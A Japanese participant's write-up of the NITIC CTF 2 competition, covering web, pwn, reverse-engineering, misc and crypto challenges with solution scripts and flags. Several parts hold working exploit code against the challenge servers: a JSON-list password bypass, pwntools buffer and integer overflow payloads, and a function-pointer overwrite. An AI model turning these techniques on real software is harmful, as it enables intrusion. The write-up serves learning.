2021/9/6(日)12:00 ~ 9/7(月)23:59 JST に開催された NITIC CTF 2(https://ctf.waku-waku-club.com/) にソロ(vegctrp)で参加しました。
16問解いて3501pts、正の点数を取った174チーム中14位でした。

web_meta (web, 100pts, 155solves)

htmlファイルを見るだけ。

    <meta name="description" content="flag is nitic_ctf{You_can_see_dev_too1!}">

nitic_ctf{You_can_see_dev_too1!}

long_flag (web, 200pts, 154solves)

<span></span>を除去するだけ。Pythonで書きました。

flag = "<span>n</span><span>i</span><span>t</span><span>i</span><span>c</span><span>_</span><span>c</span><span>t</span><span>f</span><span>{</span><span>J</span><span>y</span><span>!</span><span>H</span><span>x</span><span>j</span><span>$</span><span>R</span><span>d</span><span>B</span><span>$</span><span>u</span><span>A</span><span>,</span><span>b</span><span>$</span><span>u</span><span>M</span><span>.</span><span>b</span><span>N</span><span>7</span><span>A</span><span>i</span><span>d</span><span>L</span><span>6</span><span>q</span><span>e</span><span>4</span><span>g</span><span>k</span><span>r</span><span>B</span><span>9</span><span>d</span><span>M</span><span>U</span><span>-</span><span>j</span><span>Y</span><span>8</span><span>K</span><span>U</span><span>8</span><span>2</span><span>8</span><span>B</span><span>y</span><span>P</span><span>9</span><span>E</span><span>#</span><span>Y</span><span>D</span><span>i</span><span>9</span><span>b</span><span>y</span><span>a</span><span>F</span><span>4</span><span>s</span><span>Q</span><span>-</span><span>p</span><span>/</span><span>8</span><span>3</span><span>5</span><span>r</span><span>2</span><span>6</span><span>M</span><span>T</span><span>!</span><span>Q</span><span>w</span><span>W</span><span>W</span><span>M</span><span>|</span><span>c</span><span>!</span><span>i</span><span>a</span><span>(</span><span>y</span><span>n</span><span>t</span><span>4</span><span>8</span><span>h</span><span>B</span><span>s</span><span>&</span><span>-</span><span>,</span><span>|</span><span>3</span><span>}</span>"

flag = flag.replace("<span>", "").replace("</span>", "")
print(flag)

nitic_ctf{Jy!Hxj$RdB$uA,b$uM.bN7AidL6qe4gkrB9dMU-jY8KU828ByP9E#YDi9byaF4sQ-p/835r26MT!QwWWM|c!ia(ynt48hBs&-,|3}

password (web, 300pts, 46solves)

jsonでの送受信をしているため、文字列だけでなく文字列のリストを投げることもできる。all([ci != password[i] for ci in c])を確実に通過するように{'pass': [string.ascii_letters for _ in range(32)]}を投げれば通る。非想定解法だったらしい。

import requests
import string
import json

dat = {'pass': [string.ascii_letters for _ in range(32)]}
dat = json.dumps(dat)

response = requests.post('http://34.146.80.178:8001/flag', data=dat, headers = {"content-type": "application/json"})
print(response.status_code)
print(response.text)

nitic_ctf{s0_sh0u1d_va11dat3_j50n_sch3m3}

pwn monster 1 (pwn, 200pts, 120solves)

名前入力時にAAA...A (Aを32個)を入力すると

+--------+--------------------+----------------------+
|name    | 0x0000000000000000 |                      |
|        | 0x0000000000000000 |                      |
|HP      | 0x0000000000000064 |                  100 |
|ATK     | 0x000000000000000a |                   10 |
+--------+--------------------+----------------------+

これが

+--------+--------------------+----------------------+
|name    | 0x4141414141414141 |             AAAAAAAA |
|        | 0x4141414141414141 |             AAAAAAAA |
|HP      | 0x4141414141414141 |  4702111234474983745 |
|ATK     | 0x4141414141414141 |  4702111234474983745 |
+--------+--------------------+----------------------+

こうなるので勝てる。

nitic_ctf{We1c0me_t0_pwn_w0r1d!}

pwn monster 2 (pwn, 300pts, 65solves)

HPとATKの和が110を保つように書き換える必要がある。ATKは負の数でもよいので、HPをデカい正の数、ATKをデカい負の数になるように書き換えればよい。

+--------+--------------------+----------------------+
|name    | 0x0000000000000000 |                      |
|        | 0x0000000000000000 |                      |
|HP      | 0x0000000000000064 |                  100 |
|ATK     | 0x000000000000000a |                   10 |
+--------+--------------------+----------------------+
Checksum: 110

これが

+--------+--------------------+----------------------+
|name    | 0x4141414141414141 |             AAAAAAAA |
|        | 0x4141414141414141 |             AAAAAAAA |
|HP      | 0x7ffffffffffffd46 |  9223372036854775110 |
|ATK     | 0x8000000000000328 | -9223372036854775000 |
+--------+--------------------+----------------------+
Checksum: 110

こうなるので勝てる。

from Crypto.Util.number import long_to_bytes, bytes_to_long
from pwn import *

b = 9223372036854775110
a = (((1<<64) - 1) ^ b) + 111

a = hex(a)[2:]
b = hex(b)[2:]
a = "".join([a[i*2:2*(i+1)] for i in range(len(a)//2)][::-1])
b = "".join([b[i*2:2*(i+1)] for i in range(len(b)//2)][::-1])

send = "41" * 16 + b + a
send = long_to_bytes(int(send, 16))

r = remote('35.200.120.35', 9002, level = 'debug')

print(r.recvline())
print(r.recvline())
print(r.recvline())
print(r.recvline())
print(r.recvline())
print(r.recvline())
r.send("\n")
print(r.recvline()) # \n
print(r.recvline()) # welcome
print(r.recvline()) # I'll
print(r.recvline()) # Lets
print(r.recvline()) # +-
print(r.recvline()) # |name
print(r.recvline()) # | 
print(r.recvline()) # |HP 
print(r.recvline()) # |ATK
print(r.recvline()) # +-
print(r.recvline()) # Check
r.sendline(send)
print(r.recvline()) # Input
while True:
    print(r.recvline())

nitic_ctf{buffer_and_1nteger_overfl0w}

pwn monster 3 (pwn, 300pts, 50solves)

cry()に入っているアドレスを、my_monster_cry()のものからshow_flag()のものに書き換えればよい。
ためしに手元のマシンで、print_monster_infomation()をいじって各関数のアドレスを吐かせるようにしたところ、

+--------+--------------------+----------------------+
|cry()          | 0x0000564929cd5a4f |                      |
|pwnchu_cry()   | 0x0000564929cd5a42 |                      |
|print_title()  | 0x0000564929cd5a2f |                      |
|show_flag()    | 0x0000564929cd5993 |                      |
+--------+--------------------+----------------------+

となった。この表より、cry()のアドレスから188を引けばshow_flag()のアドレスに書き換えられそうであることがわかる。
ただし、実際のリモートでの実行時にはcry()のアドレスから192引いたアドレスに書き換えるとうまくいく。(8バイトアラインメントのせい? よくわかってない)

from Crypto.Util.number import long_to_bytes, bytes_to_long
from pwn import *

r = remote('35.200.120.35', 9003, level = 'debug')

print(r.recvline())
print(r.recvline())
print(r.recvline())
print(r.recvline())
print(r.recvline())
print(r.recvline())
r.send("\n")
print(r.recvline()) # \n
print(r.recvline()) # welcome
print(r.recvline()) # I'll
print(r.recvline()) # Lets
print(r.recvline()) # +-
print(r.recvline()) # |name
print(r.recvline()) # | 
print(r.recvline()) # |HP 
print(r.recvline()) # |ATK
cryfunc = r.recvline() # |cry()
print(cryfunc)
print(r.recvline()) # +-

cryfunc = str(cryfunc).split("|")[2][1:-1]
print(cryfunc)
cryfunc = int(cryfunc, 16)
diff = (0x0000558f9454aa2f - 0x0000558f9454a973)
print(diff) # 188
flagfunc = cryfunc - 192
flagfunc = hex(flagfunc)[2:]
print(flagfunc)
flagfunc = "".join([flagfunc[i*2:2*(i+1)] for i in range(len(flagfunc)//2)][::-1])
print(flagfunc)
send = "41" * 32 + flagfunc + "0000"
send = long_to_bytes(int(send, 16))


r.sendline(send)
while True:
    print(r.recvline())

nitic_ctf{rewrite_function_pointer_is_fun}

Excel (misc, 100pts, 133solves)

検索するだけ。
nitic_ctf{plz_find_me}

image_conv (misc, 200pts, 115solves)

白背景に薄い色でflagが書かれている。バケツで黒く塗るだけ。
nitic_ctf{high_contrast}

braincheck (misc, 300pts, 36solves)

気合でbrainf*ckを読む。

>,           # memory[2]に入力を格納
[>+>+<<-]    # memory[3] += memory[2], memory[4] += memory[2], memory[2] = 0
>>[<<+>>-]   # memory[2] += memory[4], memory[4] = 0
<<[-<->]     # memory[1] -= memory[2], memory[2] = 0
<-----       # memory[1] -= 5
[<+>[-]]     # if memory[1] != 0: {memory[0] += 1, memory[1] = 0}
>>[<<+>>-]   # memory[1] = memory[3], memory[3] = 0

のような処理の繰り返しになっている。たぶん[<+>[-]]が呼ばれるまでにmemory[1]が0になっているようなinputが正解なんだろうなあという気持ちになる。あとは頑張る。

nitic_ctf{esoteric?}

protected (rev, 200pts, 105solves)

idaに投げると、入力したパスワードをsUp3r_s3Cr37_P4s5w0Rdと比較していることがわかる。
nitic_ctf{hardcode_secret}

report or repeat (rev, 300pts, 22solves)

from Crypto.Util.number import long_to_bytes, bytes_to_long

ls = [0xc2b5e93852ec1e72, 0x27ea0f531f754746, 0x2a898c8c6ed757cf, 0x012e7a197b8a86f2, 0x7c9f5b2bd30815ab, 0x58826f3c985dde86, 0x9ef377a56285eaf2, 0x1b71a09e8b10373e, 0x650117b32f7e9dce, 0xf928e1ad2f795c14, 0xa65e121f693a9255, 0x28e33b47dadba441, 0x627c22fa9ce90908, 0x8e45e495862805d2, 0x426458ed66ebe7d2, 0x685191a02170a9ba, 0x7abb33126ca97eff, 0x01047cceede01bde, 0xd3061b78361723cf, 0x0d4a5086985e255e, 0xc22b726e96390c31, 0xf9a944d74cdd310f, 0xb0a67368b940edb7, 0x4ce4b603372e3eef, 0x6254f01074835dcb, 0x846ea7ff5cdf28c1, 0x3d175ba063eb3959, 0x98777b218bcbee97, 0x0670388d4459a9d5, 0xe951440710637bef, 0x330c4a5a3dce2989, 0x81d57f6dd1652132]

ls = [hex(i)[2:].zfill(16) for i in ls]
ls = ["".join([i[x*2 : (x+1)*2] for x in range(len(i)//2)][::-1]) for i in ls]
ls = "".join(ls)
ls = [ls[i*2:(i+1)*2] for i in range(len(ls)//2)]
ls = [int(l, 16) for l in ls]
print(ls)

with open("dat00104020.txt", "r") as dat:
    dat00104020 = dat.readlines()
dat00104020 = [int(i[17:19], 16) for i in dat00104020]

with open("ptrdat00104120.txt", "r") as dat:
    ptrdat00104120 = dat.readlines()
ptrdat00104120 = [int(i[17:19], 16) for i in ptrdat00104120]
ptrdat00104120 = ptrdat00104120[:-1]

with open("report.pdf.enc", "rb") as inp:
    test = inp.read()

pdfcontent = b""
for x in range(len(test)//256):
    flag = [0 for _ in range(256)]
    for i in range(256):
        byte = test[x*256 + i]
        loc = ls[i]
        p1ind = dat00104020[i]
        ptrdat_res = byte ^ loc
        ptrdat_ind = ptrdat00104120.index(ptrdat_res)
        flag[p1ind] = ptrdat_ind
    pdfcontent += bytes(flag)

while pdfcontent[-1] == b"\x00":
    pdfcontent = pdfcontent[:-1]
with open("report.pdf", "wb") as out:
    out.write(pdfcontent)

nitic_ctf{xor+substitution+block-cipher}

Caesar Cipher (crypto, 100pts, 144solves)

ROT13をしてくれるサイト(https://rot13.com/ とか)でがんばった。
fdhvduをROT23するとcaesarといい感じになる。

nitic_ctf{caesar}

ord_xor (crypto, 300pts, 94solves)

配布されたenc_sample.pyをもとに、enc_flagのi文字目についてiとxorを取るような処理を書きました。

import os

def xor(c: str, n: int) -> str:
    temp = ord(c)
    for _ in range(n):
        temp ^= n
    return chr(temp)

with open("./flag", "r") as f:
    enc_flag = f.read().strip()

flag = ""
for i in range(len(enc_flag)):
    flag += xor(enc_flag[i], i)
print(enc_flag)

print(flag)

nitic_ctf{ord_xor}

tanitu_kanji (crypto, 300pts, 65solves)

formatにしたがって換字を繰り返している。formatは10ビットなので、1024通りの全探索をして、暗号化されたflagについて逆向きに換字を繰り返した結果がフラグフォーマットに一致するものを探せばよい。

alphabets = "abcdefghijklmnopqrstuvwxyz0123456789{}_"
after1 = "fl38ztrx6q027k9e5su}dwp{o_bynhm14aicjgv"
after2 = "rho5b3k17pi_eytm2f94ujxsdvgcwl{}a086znq"

def convback(s: str, table: str) -> str:
    res = ""
    for c in s:
        i = table.index(c)
        res += alphabets[i]
    return res

with open("./flag", "r") as f:
    enc_flag = f.read().strip()

for i in range(1024):
    format = bin(i)[2:].zfill(10)
    flag = enc_flag
    for f in format:
        if f == "1":
            flag = convback(flag, after1)
        else:
            flag = convback(flag, after2)
    if flag[:9] == "nitic_ctf":
        print(flag)

nitic_ctf{bit_full_search}

summeRSA (crypto, 300pts, 32solves)

暗号化前の平文(59bytes)のうち、上位の51bytesthe magic words are squeamish ossifrage. nitic_ctf{まで既知。

ももいろテクノロジーさんの記事を参考にCommersmith's attackをするだけ。

from Crypto.Util.number import long_to_bytes, bytes_to_long

N = 139144195401291376287432009135228874425906733339426085480096768612837545660658559348449396096584313866982260011758274989304926271873352624836198271884781766711699496632003696533876991489994309382490275105164083576984076280280260628564972594554145121126951093422224357162795787221356643193605502890359266274703
e = 7
c = 137521057527189103425088525975824332594464447341686435497842858970204288096642253643188900933280120164271302965028579612429478072395471160529450860859037613781224232824152167212723936798704535757693154000462881802337540760439603751547377768669766050202387684717051899243124941875016108930932782472616565122310

kiti = b"the magic words are squeamish ossifrage. nitic_ctf{"

upbin = bytes_to_long(kiti) << 64
PR.<x> = PolynomialRing(Zmod(N))
f = (x + upbin)^e - c
x0 = f.small_roots(beta=1, X=2^70)
if len(x0):
    x0 = x0[0]
    pp = x0 + upbin
    if pp != 0 and pp^7 == c:
        print(long_to_bytes(pp))

nitic_ctf{k01k01!}

アンケート (Welcome, 1pt, 125solves)

アンケートに答える。
nitic_ctf{Thank_you_for_answering_the_questionnaire}